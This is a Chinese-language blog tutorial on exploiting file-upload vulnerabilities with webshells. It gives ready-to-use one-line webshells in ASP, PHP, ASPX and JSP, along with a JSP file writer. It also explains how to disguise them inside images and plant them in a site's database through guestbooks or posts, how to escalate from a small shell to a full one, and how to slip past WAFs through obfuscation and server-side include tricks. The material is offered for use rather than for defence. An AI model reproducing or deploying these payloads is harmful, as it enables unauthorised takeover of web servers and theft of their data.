上传漏洞之简单的木马用法(含WAF)

一句话木马

asp:<%eval request("heroes")%>

php:<?php @eval($_POST[12345]);?>

aspx:<%@ Page Language="Jscript"%><%eval(Request.Item["12345"],"unsafe");%>

jsp:<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%> //保存为1.jsp,提交url为 http://localhost/1.jsp?f=1.txt&;t=hello,访问http://localhost/1.txt 出来hello

  • 制作方法:
    1.C32直接写入
    2.cmd下copy /b 1.jpg+1.asp 2.jpg
    3.右键属性版权内插入(隐蔽性不高)
过程(这里以asp为例)

1.找到数据库是asp格式的网站,然后以留言板或发表文章的方式把一句话木马添加到asp数据库或加进网页
2.我们的目的就是把他写入数据库,无论什么方式
3.打开客户端(就是电脑上那个htm文件),填上加入了一句话的asp文件或者asp网页,然后进入服务器

通过一句话木马利用工具继续传小马

利用工具上传木马

通过小马传大马

上传大马

大马就是这种效果

大马

使用加密过waf

1.到网上找加密文件给一句话加一下密
2.过狗一句话原理:通过打乱变量,用函数进行重新组合成一句话木马,从而绕过waf
过狗一句话

使用包含过waf
  • 各种类型的包含代码可以到网上查
    这里上传两个文件,bao.asp和1.jpg(木马)
    bao.asp:<?–#include file=“1.jpg”–>
  • 因为1.jpg是图片格式,所以代码不执行,去执行bao.asp,而bao.asp又将1.jpg(也就是木马)当做asp执行
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值